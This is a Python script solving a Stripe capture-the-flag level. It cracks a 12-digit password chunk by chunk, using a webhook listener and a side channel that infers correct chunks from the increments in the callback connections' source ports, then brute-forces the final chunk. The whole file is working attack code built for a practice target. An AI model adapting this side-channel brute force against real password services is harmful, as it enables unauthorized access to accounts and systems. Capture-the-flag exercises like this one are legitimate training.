ctf.py

import socket
import atexit
import requests
import json

CURRENT_LOCATION = "level02-2.stripe-ctf.com"

class Webhook:
  def __init__(self):
    self.last_remote_port = 0

    # TODO: find an open port automatically.
    PORT = 8133
    self.listen_url = "%s:%i" % (CURRENT_LOCATION, PORT)

    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.socket.bind(('', PORT))
    self.socket.listen(1)

    atexit.register(self.cleanup)

  def cleanup(self):
    self.socket.close()

  @property
  def latest_change(self):
    conn, addr = self.socket.accept()
    change = addr[1] - self.last_remote_port
    conn.close()

    self.last_remote_port = addr[1]
    return change


class CTFServer:
  def __init__(self, url, webhooks=[]):
    self.url = url
    self.webhooks = webhooks

    self.connection = requests.session(prefetch=True)

  def check(self, password, skip_result=False):
    response = self.connection.post(self.url, data=json.dumps({
      "password": password,
      "webhooks": self.webhooks
    }))

    if not skip_result:
      result = json.loads(response.text)
      return result["success"]

class Attempt:
  def __init__(self, chunk, level, others):
    self.chunks = others
    self.chunks[level] = chunk

    self.level = level

    self.valid_tries = 0
    self.latest_change = 0

  def run(self, server, webhook):
    while 1:
      password = "%03i%03i%03i%03i" % tuple(self.chunks)
      server.check(password, skip_result=True)
      self.latest_change = webhook.latest_change

      if self.is_conclusive:
        if not self.is_correct:
          print "%03i %s : Ruled out as an invalid chunk." % (self.latest_change, password)
          return False
          
        self.valid_tries += 1
        if self.valid_tries >= 10:
          return True
      
      # If we've made it here, the result needs retesting.  Log that, and loop
      #  back 'round to try again!
      if self.is_correct:
        print "%03i %s : Encountered as a possibly valid chunk %i times, retesting for confirmation." % (self.latest_change, password, self.valid_tries)
      else:
        print "%03i %s : Inconclusive result, retesting." % (self.latest_change, password)

  @property
  def is_correct(self):
    return self.latest_change == self.desired_change

  @property
  def is_conclusive(self):
    return (self.latest_change > 0) and not (self.latest_change > self.desired_change)

  @property
  def desired_change(self):
    return self.level + 3
  

class Breaker:
  def __init__(self, server_url):
    self.webhook = Webhook()
    self.server  = CTFServer(server_url, webhooks=[self.webhook.listen_url])
    self.chunks = [000, 000, 000, 000]

  def solve(self):
    for level in range(0, 3):
      self.chunks[level] = self.solve_level(level)

    self.chunks[3] = self.solve_last_level()

  def solve_level(self, level):
    for i in range(0, 999):
      a = Attempt(i, level, self.chunks)
      if a.run(self.server, self.webhook):
        return i

  def solve_last_level(self):
    for i in range(0, 999):
      attempt = "%03i%03i%03i%03i" % tuple(self.chunks[0:3] + [i])

      if self.server.check(attempt):
        print "%03i %s : GOT IT!!!" % (000, attempt)
        return i
      else:
        print "%03i %s : Ruled out as an invalid chunk." % (000, attempt)

b = Breaker("https://level08-4.stripe-ctf.com/user-quayzqrluo/")
solution = b.solve()